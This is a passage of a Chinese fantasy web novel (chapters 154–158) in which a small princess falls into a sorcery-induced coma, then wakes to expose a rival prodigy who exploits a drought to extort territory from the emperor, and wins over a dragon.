“没想到,神童竟然让我进去啦!还告诉我,一直向西去寻,必能如愿以偿。”
“我也不敢不信啊,便一直向西去寻,没想到,两天后,真的找到了那畜生!”
“神童连这等小事也管?”
“是啊!人家可是神童,并不小看咱们!真跟那观里的**似的,有求必应呢!”
“不行,我也得去求见!”
“你有何事相求?”
“既然神童有求必应,哪怕见上一面,请他赐个福也行啊!”
“有理!不过啊,想求见的人现在太多了!你看那驿馆门口,挤的全是人!”
“你要想见啊,得趁早!要不,哪天神童回了大夏,可就没机会喽!”
“也对也对!唉!难怪人家大夏风调雨顺呢!”
“是啊,肯定是因为大夏有神童在,所以才没有灾荒!”
“圣上不是封了个什么祈天仙使吗?听说,是个才四五岁的女娃娃!”
“祈天仙使?是哪一位啊?没听说过!”
“能跟神童比吗?”
“那怎么可能!”
“听说那祈天仙使,要助陛下登台求雨呢!”
“要是说神童能求雨,那我一定信!可那个什么祈天仙使,岌岌无名啊!真能求来雨?”
“别丢人现眼了才好!啊——!”
说这话的这人,一声惊呼,猛地趴在了地上,像是被什么绊倒了一样。
引起周遭人的一阵哄笑。
路边,萧宁辰扔掉手中多余的石子,掸了掸手。
胆子真大,敢这么说我妹妹,让你摔一跤算便宜你了!
“走!“他带着几个兵士,大步走进了宁王府。
见了萧元珩,萧宁辰单膝跪倒:“父亲!孩儿回来了。”
萧元珩看着他,点了点头
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:“快起来!坐!不错,长高了,也壮实了!”
萧宁辰落座,将刚才在街上听到的传闻讲了一遍。
“父亲,那大夏神童此举分明就是在造势!祭天台眼看就要落成,陛下求雨在即,他这般动作,恐是包藏祸心。”
萧元珩点点头:“所以为父才让你回来。非我族类,其心必异。大夏蠢蠢欲动,要做好周密的防范。”
“是!”
大夏,国师府。
密室中,烛火摇曳,映得周围墙壁上的符文忽明忽暗。
巫罗屏退左右,于香案前展开了一个羊皮卷。
随着他口中念起晦涩的咒文,羊皮卷上的气流如水波般荡漾开来,墨迹流动,缓缓凝聚成一座精致宫苑的立体图影!
图影之中,一桌一椅、一花一木历历在目,精细得令人发指。
图影上方,三个小字凝聚不散:凤仪宫!
他双目微阖,指尖缓缓按在凤仪宫三字上。
口中念念有词:“方位既定,气运相连!”
他低声自语,目光锐利如鹰隼,穿透虚空,看到了凤仪宫上空的气运之象。
一片因干旱而显得格外灰败的天幕下,一道璀璨如朝阳的气运,正盘踞在凤仪宫的上方,不仅自身凝实,更在缓缓滋养着萎靡的烈国国运。
他猛然睁开双眼,眸中精光暴涨:“好一道先天鸿蒙的气运!”
巫罗的眼中爆发出炽热的贪婪:“若为此气所钟,自是万法不侵,百无禁忌。可惜……你终究未成大道,此等气运,合该为我大夏所用!”
他不再犹豫,双手猛地抬起,十指缠绕,结出一个极其繁复古老的印诀。
“**同风,气锁乾坤!”
“以宫为引,以名为凭——夺!”
轰!
羊皮阵图上,整个凤仪宫的每一处都射出一道细微的光线,如同无数锁链,交织着缠向阵图上方的那道气运光柱。
巫罗松开双手,露出了满意的神色:“釜底抽薪,方为上策。待你气运衰败,止儿携大势而来,看你这‘仙使’,还如何挡他的路!”
第154章 怎么又回来了?
紫宸殿中。
萧杰昀对着御案上的一个奏折,默默出神。
萧元珩坐在下首,看了看皇帝的脸色:“陛下,何事不决?”
萧杰昀将奏折递给了他。
萧元珩看了一遍,面露惊讶:“庆王请求进京?”
皇帝点了点头:“庆王以封地旱情严重需当面陈情,且世子病重,当地医师无法治愈,需进京求医为由,请求进京。”
“这第一桩,朕尚可驳回。第二桩嘛,若驳回了,朕恐怕要落个刻薄寡恩的名声了。”
萧元珩微微点头:“陛下圣明。庆王此举,是算准了陛下仁德,有备而来,势在必得。”
“既然他铁了心要回京,陛下何必阻拦?”
“庆王在封地一直安然无事,突然上本请求进京,想必是与陛下祭天求雨有关。”
“不妨准备充足,请君入瓮,静观其变。”
萧杰昀犹豫了片刻,提起朱笔,写下了一个大大的“准”字。
“元珩,即日起,京郊大营及周边各营兵马,由你全权节制,拱卫京畿。”
“臣,遵旨!”
几日之后,凤仪宫中。
团团带着萧林和萧进,在院子里追着大狼四处跑。
大狼速度飞快,三个孩子围追堵截,就是抓不到它,各个累得气喘吁吁。
慕容瑾吩咐宫女:“去喊他们进来,歇一歇,喝点儿水。”
“是!”
团团闻言停下脚步,带头跑进大殿,萧林同萧进也赶忙跟了进来。
大狼颠颠儿地跑到门口,探头探脑的往里面张望。
萧林问道:“团团,大狼为何不进来啊?”
团团将杯中水一饮而尽:“因为雪团怕它啊,我跟它说了,不能进来,雪团太小了。”
喝完了水,团团回头喊了一句:“大狼,你自己玩去吧。”
大狼耷拉下脑袋,恋恋不舍地走开了。
三个孩子又在大殿里开始追着雪团四处跑,爬上爬下,屋里桌椅碰撞,东西倒地,热闹非凡。
终于到了晚上,团团睡着了,慕容瑾坐在床边,忍不住喃喃自语。
“原来,这就是养孩子啊。除非你睡着了,否则,这凤仪宫便没有安静的时候。”
她笑了笑,给团团将锦被掖好,吩咐守夜的宫女:“好生看着郡主。”起身歇息去了。
一向沾枕头就沉睡到天亮的团团破天荒地做了个梦。
和雪团一起,再次蹲在了碧波池的旁边。
咦,怎么又回来了?
小雪团跟那天一样,喵呜喵呜地冲着水中的锦鲤急地叫个不停。
那几尾肥肥的锦鲤悠闲地在水里游荡。
这鱼不是已经被我吃了吗,怎么又回来了?
“小馋猫,等会儿啊,我再给你把他们抓上来。“
团团循着记忆中的位置,找到了一根有弹性的小树枝,熟门熟路地弯成了鱼钩状,又蹲回雪团的身旁。
回头看了看,咦,那两个跟着的宫女呢,怎么不见了。
不管了,她一把将树枝扔进水里:“小鱼小鱼快上来!”
等了半晌,水面平静,鱼儿悠闲,没有任何变化。
怎么会?
团团皱起眉头,一脸困惑,站起来向池边更深的地方走去。
“啊——”她脚下一滑,惊呼了一声,跌入池中。
池水冰冷漆黑,瞬间吞没了她。
次日一早,慕容瑾正坐在妆台前梳妆。
“皇后娘娘!皇后娘娘!郡主她,她发了高热!奴婢叫不醒她!”
慕容瑾猛地起身,冲到团团床前:“团团!团团?”
她伸手一摸,团团额头滚烫,蜷着的小手一片冰凉:“快!请太医!给本宫将御医正请来!”
郭太医火速赶来,手搭在团团细嫩的手腕上,眉头越皱越紧,最终颓然收回:“娘娘,老臣无能。郡主脉象浮滑紊乱,与老臣毕生所诊脉象均不相似,实在是诊不出病因啊!”
慕容瑾身子一晃:“去!禀告陛下!快去!”
萧杰昀正在早朝。
工部上奏:“启禀陛下,祭天台已彻底完工。”
钦天监正使随即出列:“启禀陛下,臣夜观天象,三日后正是祈雨吉时。”
萧杰昀微微颔首:“传旨,即日起,朕斋戒沐浴,三日后,亲登祭天台,为民求雨!”
众臣叩拜:“圣上英明!”
内侍在
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外高声禀告:“启禀陛下,皇后娘娘遣人来报,嘉佑郡主高热晕厥,昏迷不醒!”
萧杰昀猛地站起,衣袖带翻了面前的茶盏:“什么?!”
转身退入内殿。
他匆匆走入凤仪宫,慕容瑾已急得泪流满面,说不出话来。
还是郭太医,将团团的病情禀告了一遍。
萧杰昀脸色铁青:“速派人去宁王府,告知王爷和王妃。”
内侍领命而去。
皇帝看着床榻上小脸通红、毫无声息的小团团,心头如同压了一块巨石。
团团啊,若没有你,朕这求雨,恐是结果难料了。
消息很快传到了德妃与梁妃宫中,两位小皇子当即就红了眼眶,扯着母亲的衣袖就要往皇后宫中跑。
德妃与梁妃亦是心焦,她们虽与团团相处时日不长,却真心喜爱这个灵动可爱的小郡主,当下便带着儿子一同赶了过去。
殿内一时聚满了人。
萧林小心翼翼地摸了摸团团滚烫的额头,声音带着哭腔:“团团,你快醒醒,我把我最喜欢的玩意儿都让给你玩。”
萧进的泪珠子吧嗒吧嗒往下掉:“团团,我的桂花糖都给你吃,你起来吃糖好不好。”
童言稚语,更添悲戚。
很快,萧元珩夫妇与萧宁辰走了进来,身后跟着一直住在王府的神医墨长庚。
程如安都未来得及给皇后请安,便直接扑到床边,握住女儿冰凉的小手,泪如雨下。
萧宁辰紧握双拳,看着妹妹的模样,心里的无名之火烧得他只想冲出去和谁干上一架。
萧元珩面色沉重:“神医,劳您大驾,给团团看看。”
墨长庚看到心爱的徒儿,更是心疼,马上便开始诊脉。
他仔细号脉,又翻看了一下团团的眼睑,摇了摇头。
“团团此症,不似有病。竟像是神魂受扰。老夫只能开一剂安神固本的方子,暂且吃几剂看看。”
药很快煎好,程如安搂着女儿,小心翼翼地喂了进去。
一夜过去,团团依旧双眸紧闭,呼吸微弱,高热丝毫未退,一动不动。
程如安紧紧握着女儿的小手,片刻都不敢松开。
第155章 会一会这天命
她怔怔地看着团团的小脸,神医的药都没能让你醒过来,谁?谁还能帮得上你?我的小团团。
突然,她脑中灵光一闪,猛地抓住了身边同样守了一夜的萧元珩的手臂,声音微微发颤:“王爷!团团的名字!是国师起的!能否请国师过来?他或许能有办法!”
萧元珩眼中骤然爆出一抹精光。
是啊!那位深不可测的天眼道人!
他当即转身,大步而出:“我亲自去请!”
同一时间,早朝。
萧杰昀面无表情,端坐于龙椅之上。
一人身着**袍,稳步出列,正是庆王萧济昌。
“陛下,祭天求雨,乃为国本。然天意难测,纵是天子至诚,亦未必能上达天听。”
萧杰昀不动声色:“庆王有何高见?”
庆王微微一笑,躬身行礼,转身面对众臣:“本王心系烈国苍生黎民,有一策或可增加胜算,解我烈国燃眉之急。”
“大夏神童,名满天下。生而通灵,能聆天意。”
“如今他恰在京城,陛下何不降下恩旨,请他登台,助我烈国祈雨?若能成此功德,亦是陛下圣德感召,四方来朝!”
此言一出,满殿哗然。
“荒谬!”一位御史当即出列驳斥,“庆王殿下此言差矣!我烈国国运,岂能系于他国稚子之手?”
“陛下亲祈,乃承天命,若让大夏神童登台,置陛下于何地?置我烈国威严于何地!”
“迂腐之见!”庆王面露悲悯,声音愈发激昂。
“如今赤地千里,饿殍遍野,若能多一分把握求得甘霖,天下人只会赞颂陛下为救民于水火,不惜虚怀若谷,纳谏如流!”
“列位当以万民为重,而非虚名!敢问这位御史,是您的清名重要,还是百姓的死活重要?”
御史气得脸色通红:“你……你这是强词夺理!”
靖海侯周锦华出列:“臣以为,庆王殿下所言,不无道理。事急从权。若能确保祈雨成功,而请神童登台,亦无不可。陛下!苍生为重啊!”
朝堂众臣,顿时分成了赞同与反对的两派,争论不休。
萧杰昀沉声道:“够了。”
他抬眼看向庆王:“你的‘好意’,朕心领了。”
“但烈国的天,烈国的雨,当由烈国的天子来求。”
“无需他国相助!”
他缓缓站起,袖袍一挥:“此事,休要再议。”
“朕意已决,两日后,朕将亲登祭天台,为民祈雨。”
说罢,转身离去。
庆王叩首行礼:“恭送陛下!”唇角勾起一个冷笑。
早料到你不会同意。
神童说了,若无他相助,纵然你是天子,也断然求不来甘霖!
今日朝堂论辩,一日之内,本王便会传遍京城。
届时你求雨无效,万民在场,我再邀请神童登台。
待神童求得甘霖,你这天子的名声么……呵呵,怕是便要扫地了。
萧杰昀脸色阴沉,大步走入凤仪宫中。
“国师?”
殿中众人尽皆起身行礼。
楚渊道:“陛下,贫道受宁王之托来看郡主。”
萧杰昀点了点头:“如何?可能将郡主唤醒?”
楚渊并未立即回答,他行至榻前,手捏成诀,并指虚点于团团眉心三寸之处,闭目凝神。
刹那间,殿内仿佛有清风拂过,楚渊的道袍无风自动。
众人屏息细看,只见他指尖竟隐隐有无数细如发丝的金色虚影一闪而逝!
片刻之后,楚渊收手:“陛下,郡主并非患病,故而药石无效。”
萧杰昀眉头紧皱:“那是如何?”
楚渊沉吟半晌,从道袍中掏出一枚古朴的青铜小鼎,置于团团枕边。
那鼎不过婴儿拳头大小,色泽暗沉,毫无光华,瞧不出半分神异。
“陛下稍安。”楚渊神色平静,“此鼎或可一试。”
“仅是一试?”慕容瑾追问道。
楚渊点了点头。
程如安看着女儿,泪水无声滑落。
她已整整两日未曾合眼,一双美目红肿不堪:“我的团团啊,你若是自此不醒,娘亲也不想活了。”
萧元珩眉头更紧,稳稳扶住妻子的双肩:“多谢国师。”
次日,团团高热虽退,却仍旧昏迷未醒,凤仪宫中气氛沉重。
京城却已沸腾。
“听说了吗?庆王殿下举荐神童明日助陛下求雨!被陛下拒绝了!”
“真的?”
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“街巷都传遍了,怎么不真!”
“陛下为何不准啊?神童如此法力无边,若他出手,这雨还不说来便来了!”
“我怎么知道!”
“唉,你们想想,若这雨是陛下求来的,那可是不世奇功!但若是神童……”
几个人互相交换了一个注视。
“是啊,陛下乃真龙天子,若这雨是靠外人求来的,那天子的颜面往哪儿搁?”
“啊?难道,陛下的颜面,比咱们老百姓的死活还重要吗?”
“别瞎说!没准儿是神童不愿出手相助咱们呢!人家毕竟不是烈国人。”
“你这话我就不信了,自从神童入京,对所有人都是有求必应,对这等大事反而视而不见了?”
“咱们都是草民啊!命如草芥!那些贵人,谁会把咱们当回事儿啊!”
“这事儿还不明摆着嘛!谁能求来雨,谁就是天命所归啊!”
“那照你所说,谁是这个天命呢?”
“我哪儿知道啊!且看明日吧!”
萧杰昀一夜未眠,寅时便更衣,换上了沉重繁琐的祭天礼服。
“再去看一下,团团醒了没有。”
“是!”
不多时,内侍返回:“启禀陛下,郡主仍未醒来。”
程公公急得直搓手:“陛下,若郡主不能……”
“朕乃天子!”萧杰昀打断了他,“祭天求雨乃天子之责!”
“郡主若能助朕,自然最好,若不能,朕便以挚诚祈求上苍,为我烈国降下甘霖!”
程公公躬身道:“是。陛下圣明。”
他顿了顿:“陛下,该起程去祭天台了。”
萧杰昀大步走出紫宸殿。
“恭请陛下圣安!”萧元珩神情肃然,一身战甲,按剑跪于阶前。
皇帝脚步一顿,眼底闪过一丝动容。
他走到宁王面前,抬手重重按在他的铁甲肩头:“元珩,此去祭天台,不亚于一场恶战。可惧否?”
萧元珩猛然抬头,铁甲铿锵作响:“陛下在处,便是臣之疆场!臣半生纵横,何曾惧过一刻!”
皇帝闻言,纵声长笑,笑声冲破黎明,豪气干云:“好!那今日,你我君臣,便并肩去会一会这天命!起驾!”
第156章 陛下真的感动了上天?
烈日如炬。
祭台上按照神位摆放着各种祭器,里面盛满了各色祭品。
“吉时已到!”
萧杰昀身着玄色祭袍,额前缀着的十二旒玉藻微微晃动。
他手持玉圭,对着苍天深深地三拜九叩,每一个动作都沉稳如山。
“皇天在上!朕奉天命,抚育万方。然政阙有失,致兹元旱,累及众民,心如焚灼。”
“万方有罪,罪在朕躬;百姓何辜,罹此凶灾?”
“若苍天垂悯,赐降甘霖,朕愿损寿以慰苍生!”
他虔诚的声音沉浑有力,带着帝王的担当,在空旷的祭台上回荡,传遍四方。
皇帝诵完祝文,依次向神位敬献酒水和祭品。
礼毕后又将祭品和早已书写好的祝文放入“燎炉”中焚烧,象征着已将人间祈愿传递给上天。
祭台中央巨大的燎炉中,升起阵阵青烟,笔直而上。
台下,万民屏息而立。
无数双眼睛,一眨不眨地死死盯着天空,目光中尽是期盼。
有人双手合十,嘴唇无声地翕动,有人紧紧抓着身旁的亲人,默默祈求。
时间一点点流逝。
突然,天际悄然飘来几团乌云。
“是云!乌云!”百姓们纷纷指着天空激动大喊。
所有人都仰起头,死死盯着那些承载了全部希望的乌云。
云层逐渐汇聚,从薄透变为厚重,从几团连成一片,缓缓地,将空中那轮酷烈的烈日遮住了!
光线一暗。
一股久违的、带着土腥气的凉风拂过地面,卷起细微的尘土。
“要下雨了!真的要下雨了!”
“陛下万岁!陛下万万岁!”
“陛下真的感动了上天!”
狂喜的欢呼声如同潮水般涌起,许多人热泪盈眶,相互拥抱。
萧杰昀紧绷的脊背一松。
然而,云层仅停留了不到一盏茶的功夫,便以肉眼可见的速度迅速变得稀薄,分散,最终消失无踪。
灼热的阳光,如同利剑,一道接一道地刺破云层,继续无情地炙烤着大地。
随着乌云来得一点点微弱的湿气,瞬间被蒸干。
公孙止唇角一勾,国师!你果然厉害!
希望如同落在炙热铁板上的水珠,迅速蒸发殆尽。
百姓们从狂喜的巅峰跌回了绝望的深渊。
浓重的不安开始在人群中蔓延。
“没用啊!陛下求雨没用啊!”
“陛下不是天子吗?天子也求不来雨吗?”
“连天子都不行吗?老天爷,您是真要亡我们吗?”
低语声从零星几点,渐渐越来越多,汇成了无法抑制的暗流。
一道道目光从天空移开,落在了高台上那道依旧挺拔的玄色身影上。
但目光中,已不再全是敬畏与期盼,而是失望和茫然,甚至是,怨怼。
萧杰昀紧握着玉圭的指节,因为过度用力,已是青白一片。
那象征着帝王权柄的玉圭,此刻重逾千钧,压得他宽厚的肩膀微微颤抖。
他能感受到来自身后的无数道目光,如同无数根烧红的针,刺在他的脊梁上。
萧元珩和萧宁辰对视了一眼,都下意识地握紧了剑柄。
一个声音高声响起:“陛下!”
庆王从宗亲勋贵的列队中稳步迈出。
他面向高台,声音悲悯沉痛:“陛下以至诚祈天,然天意莫测,至今未降甘霖。”
“臣!心痛如绞!眼见黎民焦渴,社稷危殆,臣不得不冒死再谏!”
他骤然转身,面向高台下黑压压的百姓,声音陡然拔高:
“诸位乡亲父老!天不佑我烈国,非陛下不仁,实是方法或有不当啊!”
一句话,如惊雷炸响。
百姓们的目光,瞬间从皇帝的身上,集中到了这位“为民请命”的王爷身上。
庆王猛捶胸口,继续高呼:“大夏神童,生而通灵,能聆天意,此乃天下共知!”
“其入京以来,更获万民称颂!”
“如今他人就在台下,陛下何不摒弃成见,为天下苍生,请他登台一试?”
台下百姓瞬间一片哗然。
“对啊!神童来了!请神童登台!”
“神童法力无边,定能将雨求来!”
“我们要活命!请神童登台求雨!”
越来越多的百姓被感染,声浪一波高过一波,最终汇聚成震耳欲聋的洪流:
“请神童登台!”
“请神童求雨!”
“神童啊!救救我们吧!”
在这山呼海啸般的呼喊声中,萧杰昀面色渐渐苍白,身形异常孤立。
他看了一眼台下汹涌的人潮,目光转向那一脸“忠君爱国”的庆王。
庆王趁势跪倒,哽咽着继续高呼:“陛下,民心不可违,天意或可改啊!请陛下恩准!”
人群自发地让开了一条通道。
一个身穿一身皎洁白袍的幼童,缓步向祭台走近。
只见他面如银盘,肤色如玉,眉心一点鲜艳欲滴的朱砂痣,宛若画中走出的仙童,不染尘埃。
正是大夏神童,公孙止。
他行至台前,微微仰头,清澈的眼底无悲无喜,分外超然。
“看!神童来了!”
“天哪!这个相貌!就是画里的仙童啊!”
“请神童登台求雨!”
庆王看了一眼面色铁青的皇帝,大声喊道:“请神童登台!”
百姓欢声雷动,萧杰昀微微晃了一下。
公孙止点了点头,踏上了那通往祭天台顶的台阶。
一步,两步……
他步伐从容,身上的白袍在烈日下散发着圣洁的光晕。
庆王的嘴角微微上扬。
终于,公孙止登上了顶层,与皇帝萧杰昀,几乎并肩站立在了至高之处。
他并未看向皇帝,而是转过身,面向着台下万千百姓,一张脸庞无比庄严,如同观中真人的宝相,神圣不可侵。
“诸位,烈国陛下至诚,苍天可鉴。”
“然天旱至此,并非无因。”
他遥遥望向北方。
“北境三关,赤地、苍梧、临渊。”
“数年前边关大战,血光冲天,怨气盘踞不散,触怒上苍。”
他豁然转身,看向皇帝:“陛下若真心求雨,解万民之危,便该展现诚意,方能解此怨气。”
“还请陛下恩准。”
“其一,将我大夏之传国玉玺,即刻归还!”
“其二,请陛下下诏,将北境赤地、苍梧、临渊三城,归还我大夏。”
“若陛下恩准,我,公孙止,愿以自身灵韵为引,沟通天地,为烈国求来甘霖。”
四周顿时陷入一片死寂。
“不可啊!陛下!”萧元珩高声道:“边关血战乃大夏挑衅而起!非我烈国之责!”
“多少将士埋骨边关,才换来今日太平!岂可拱手让之!”
庆王闻言朗声道:“宁王此言差矣!是几座城池重要,还是眼前这万千黎民的性命重要!”
“陛下!若能求得甘霖,解此燃眉之急,暂作权宜之策,有何不可?陛下,民心不可违啊!”
萧杰昀只觉得那十二旒玉藻重若千钧,几乎要压断他的脖颈。
应允,是万世骂名,国之罪人。
不允,是置万民于死地,不仁之君。
进是万丈深渊,退是千古绝壁。
一滴冷汗,从他的额角悄然滑落。
凤仪宫中。
青铜小鼎骤然亮起一道耀目的白光,尽数涌入团团的体内。
几乎同时,她一直紧握成拳的小手,指缝间蓦地流淌出温润的光华。
下一刻,团团睫毛颤动,豁然睁开了双眼。
第157章 神童法力无边
守在床边的程如安几乎是从锦墩上直接弹了起来,布满血丝的双眼死死盯住女儿:“团团?你醒了?”
“哪里不舒服?娘亲在呢!”
慕容瑾在一旁的椅中猛地站起,走到床边轻声道:“团团?”
团团扭头看了她们一眼:“娘亲!皇后娘娘!”
眼神清亮透彻,仿佛只是睡了一个悠长的午觉。
“团团!我的小团团!”程如安瞬间泪如雨下,颤抖着伸手轻抚女儿的脸颊。
团团眨了眨眼,似乎有些困惑,感觉到手中有什么东西,举起了一直紧握成拳的左手,在眼前缓缓摊开。
是一个硬硬的东西,薄薄的一片,形状并不规则,边缘带着自然而圆润的弧度。
通体呈现出一种如同月华般的皎洁光晕,细看之下,光晕深处似乎有极其细微的、比水更莹润的光泽在缓缓流转。
她歪着头,仔细看着,啊,是我在碧波池底捡到的东西!
她转头看向泪眼婆娑的娘亲和一脸惊喜的皇后:“皇伯父呢?”
慕容瑾一愣,立刻答道:“陛下此时正在祭天台……”
话音未落,团团一个翻身就从床上蹦了下来:“快!送我去找皇伯父!”
慕容瑾转身喝道:“备凤辇!不!备最快的马!立刻送郡主去祭天台!快——!”
祭天台台下,民怨已如油锅般沸腾。
“答应他吧!陛下!”
一个枯瘦的汉子红着眼睛嘶吼:“我已经没了地,死了娃,逃荒到这里,都要渴死了,还要那玉玺和城池有什么用!”
也有人反驳:“放屁!那是多少人用命换来的!岂能说还就还!”
“什么神童!这不是趁火打劫吗?”
“但我们现在活不下去了啊!”
“对啊!那些人反正都已经死了!”
“我们还要活下去啊!”
“陛下!让神童求雨吧!答应他吧!”
百姓们群情激愤,逐渐向台前涌动。
萧元珩和萧宁辰紧张地盯着台下,握紧了剑柄。
庆王看着这纷乱的场面,再度叩拜,痛心疾首地嘶吼道:“陛下!苍生为重啊!请陛下以万民为念!”
公孙止在高台上站得笔直,白衣胜雪,如同一尊神祇。
萧杰昀听着台下山呼海啸般的民意,俯视了一眼脚下那貌似恭敬的庆王。
公孙止缓缓转头,与他目光相接,微微一笑。
烈国皇帝,你已然没有退路了。
萧杰昀闭上双眼,深吸了一口气,下定了决心,缓缓开口:“若朕恩准你所求之事,神童便当真能求来甘霖,解我烈国大旱吗?”
公孙止转向台下:“皇天在上,万民为证!”
“若我未能求来甘霖,愿受烈火焚身之罚!”
此言一出,四周顿时静了下来。
萧杰昀长叹一声:“既然如此,朕便……”
一声清脆响亮的呼喊打断了他的话:“皇伯父!我来啦——!”
所有人循声望去。
萧杰昀已到嘴边的话硬生生顿住,抬眼望去,只见凤仪宫的总管太监,正骑在一匹快马上,怀里抱着一个小小的人儿,朝着祭天台狂奔而来。
正是团团!
他惊喜非常,大吼出来:“快!请郡主登台!”
快马奔至台前,团团手脚并用地挣脱下地,迈着小短腿,噔噔噔地爬上了祭天台。
公孙止原本淡漠如神的脸色瞬间难看了起来。
她怎么来了?国师不是说会提前解决掉她吗?
萧元珩和萧宁辰彼此对视了一眼,满脸惊喜,团团醒了!
团团一口气跑到了萧杰昀的面前:“皇伯父!”
萧杰昀俯身将她抱起来:“团团,你好了?急死皇伯父了!”
团团从他怀里探出小脑袋,大眼睛环顾四周,一眼便看到了公孙止。
她小眉毛一竖,抬手一指,大声道:“你这个坏蛋偷神!又想偷什么东西?”
台下顿时一片哗然。
“偷神?”
“神童吗?他偷了什么?”
“别听小孩子胡说八道!神童神通广大,怎么会偷东西!”
公孙止的脸瞬间涨得通红!
他那副超然物外的姿态刹那间便维持不住了,气得声音都变了调:“你胡说八道!我才不是偷神!”
萧杰昀将怀里的团团抱得高高的,声如洪钟:“此乃嘉佑郡主,朕亲封的‘祈天仙使’!”
“我烈国自有仙使在此,无须假手外人,亦可求得甘霖!”
台下的声音立时鼎沸。
“祈天仙使?”
“就这么个小女娃?”
“她能有神童法力高深?”
“我好像听说过这位小郡主!确实不凡!”
“对对!我家久在京城,也听说过她!她就是宁王嫡女!”
“前阵子巧酥阁谢掌柜那邪门的金钗,就是她给破的!”
“听说秋猎时,她还驯服了两头吃人的猛虎!”
但这些零星的声音,迅速便被更多的质疑淹没。
“谁知道是真是假!”
“对对!道听途说!你亲眼见过吗?”
“我们现在只要下雨!”
“管他是神童还是仙使,我们只要下雨!”
“对对!谁能把雨求来,我们就信谁!”
团团一张小脸气得鼓鼓的,对着台下大声喊道:
“就是他!这个到处偷东西的坏蛋!偷走了烈国的国运,老天爷才不下雨的!”
“不是皇伯父的错!”
萧杰昀心头一震,手臂微收,抱紧了怀里的小团子。
众人闻言更是惊疑不定,所有人的目光都在团团和神童之间来回扫视。
“真的假的?”
“偷国运?这可能吗?”
“那可是神童啊!”
“就是!神童怎会偷东西?请神童显灵!让老天下雨吧!”
团团小嘴一撇:“你们让他求雨?他才没那个本事呢!”
台下的质疑声瞬间更大了。
公孙止脸色彻底阴沉下来,上前一步,脸色铁青。
他紧盯着萧杰昀:“陛下,归还玉玺,割让三城。在我求雨之前,请问陛下,是否恩准?”
萧杰昀看了他一眼,又低头看向怀中紧紧搂着他脖子的小人儿。
他心中一定,信心十足,迎着公孙止逼视的目光:“若你真能即刻求来甘霖,解我烈国大旱。朕便准你所求。”
得到了这句承诺,公孙止脸上露出一丝得色。
他走到祭天台中央,与那巨大的燎炉相对,整理了一下自己雪白的袍袖,三跪九叩。
随后,他站起身,双手缓缓抬起,结出一个奇异的手势,直指上天,清朗的声音响彻四方。
“皇天在上!大夏公孙止在此,恭请雨水临凡,天河倒悬!”
话音甫落,“轰隆!”
一声沉闷的惊雷,悍然炸响!天地间随之猛地一颤。
浓重的的乌云从四面八方翻滚而至,疯狂汇聚,四周的光线以肉眼可见的速度迅速黯淡。
狂风骤起,卷着地上的沙尘呼啸而过,吹得祭坛周围的旌旗猎作响,几乎要撕裂开一般。
“轰咔!”
一道刺目的闪电撕裂天幕,震耳欲聋的雷声滚滚而来!
风里带着一股凉意和浓重的水汽,扑在脸上,让所有饱受干旱折磨的百姓们激灵灵打了个冷战,随即便是狂喜非常!
“要下雨了!真的要下了!”
“神仙!他是真神仙啊!”
“老天爷开眼啦!”
台下欢声雷动,无数人仰望着台上那道白色的身影,眼中充满了敬畏和感激。
庆王对着公孙止深深一拜:“多谢神童为我烈国求来甘霖!神童法力无边!”
台下众人纷纷附和,喊声一浪高过一浪,汇聚成整齐划一的呐喊,震彻云霄:“神童法力无边!”
第158章 不许谁的话都听哦!
风云翻滚,厚重的乌云强行排开,露出一片璀璨。
一片巨大的、闪烁着七彩流光的鳞片率先刺破云层,紧接着,威严的龙首圆睁双目探了出来,随后便是巨大的金色龙身!
竟是神龙现身!
浩瀚的龙威如同海啸,轰然压向地面!
“天哪!龙!是真的龙!”
“神龙显圣了!快拜!”
台下万民,连同文武百官,全部黑压压跪倒一片,头颅深深埋下,心中充满了敬畏与激动。
高台之上,萧杰昀岿然不动。
他身为天子,乃人间真龙,自有其尊严与威望。
风云呼啸,他轻轻把团团的小脸压在了自己的脖颈处,护得更紧,昂首与那苍穹之上的神龙对视。
公孙止心中狂喜,成了!国师果然算无遗策!
臭丫头,即便你赶了来,也改变不了我求雨既成的事实!
他站起身,整理了一下被风吹乱的白袍,上前一步,以最虔诚的姿态再次深深叩拜下去,情真意切,声音颤抖地高呼:
“恭迎神龙法驾!”
“大夏公孙止,恳请神龙垂怜,降下甘霖,以解万民之苦!”
这神龙定是为他而来!
然而,那盘旋的神龙,对于他的叩拜与祈求,竟然毫不理睬,恍若未闻!
巨大的龙目中非但没有慈悲,反而燃烧着怒气。
它焦躁地甩动着龙尾,每一次摆动都引得风雷之声大作,那漫天汇聚的雨云竟被它搅得隐隐有溃散之势!
“怎么回事?神龙好像很生气?”
“是啊,它怎么不吐水降雨呢?”
“神童不是已经请它现身了吗?”
公孙止额角渗出了冷汗,不对啊,国师明明说过,只要我叩拜求雨,便一定能成啊!
他眼珠急转,目光落在皇帝怀中的团团身上。
一个恶毒的念头瞬间涌上心头。
他猛地伸手指向团团,声音尖锐:“是她!就是她!”
所有人都被他这声厉喝吸引。
“见神龙不拜,此乃大不敬!”
“她亵渎神龙,触怒天威,致使神龙震怒,不肯降雨!”
瞬间,台下众人所有的焦灼、失望、疑惑都找到了宣泄的地方。
“对啊!她怎能不跪?”
“神童好不容易请来了神龙,她竟敢对神龙不敬!”
“怪不得神龙不降雨,原来是她惹的祸!”
“请陛下降罪她!”
“不能让她毁了降雨!”
萧杰昀脸色铁青,紧紧搂着团团。
萧元珩和萧宁辰心头狂跳,拔出了手中的利剑。
团团没有理会台下汹涌的人声,抬起小脑袋,望向天上那条怒气冲冲的金龙。
她低头解开腰间的绣囊,掏出了醒来时握在手中的东西。
对着天上那巨大的神龙,她理直气壮,清脆地大喊:
“喂!这是你的东西吧?接着!”
说完,她小手一扬,将手中的东西抛向那条震怒的金龙。
天地间瞬间光华大盛!那小小的东西如同一轮旭日飞速升空,所有人都被迫闭上了眼睛。
原本躁动的金龙,庞大的身躯一顿,迫不及待地俯冲而下,精准地迎向那团光亮,与那片耀眼的光华融为一体。
待光华褪去,众人睁开双眼。
只见金龙凑到了祭天台边,小心翼翼地围着祭台慢悠悠的转了几圈。
然后,用它那飘逸的龙须,轻轻碰了碰团团的脸颊。
动作十分轻柔,竟像是在讨好一般。
全场鸦雀无声。
百姓们傻了,百官们呆了,庆王的下巴几乎就要砸到脚面,
公孙止仍旧跪着,仰望着团团,惊诧的瞪大了双眼。
萧元珩和萧宁辰虽然早已知道团团不同寻常,但亲眼见到这副场景,同样也是惊讶得目瞪口呆。
团团被龙须蹭得有点痒,咯咯直笑。
随即她小脸一板,伸出小手点了点神龙探头探脑伸过来的鼻子,训孩子般地道:“怎么谁喊你,你都来呀?耳朵聋掉了嘛!”
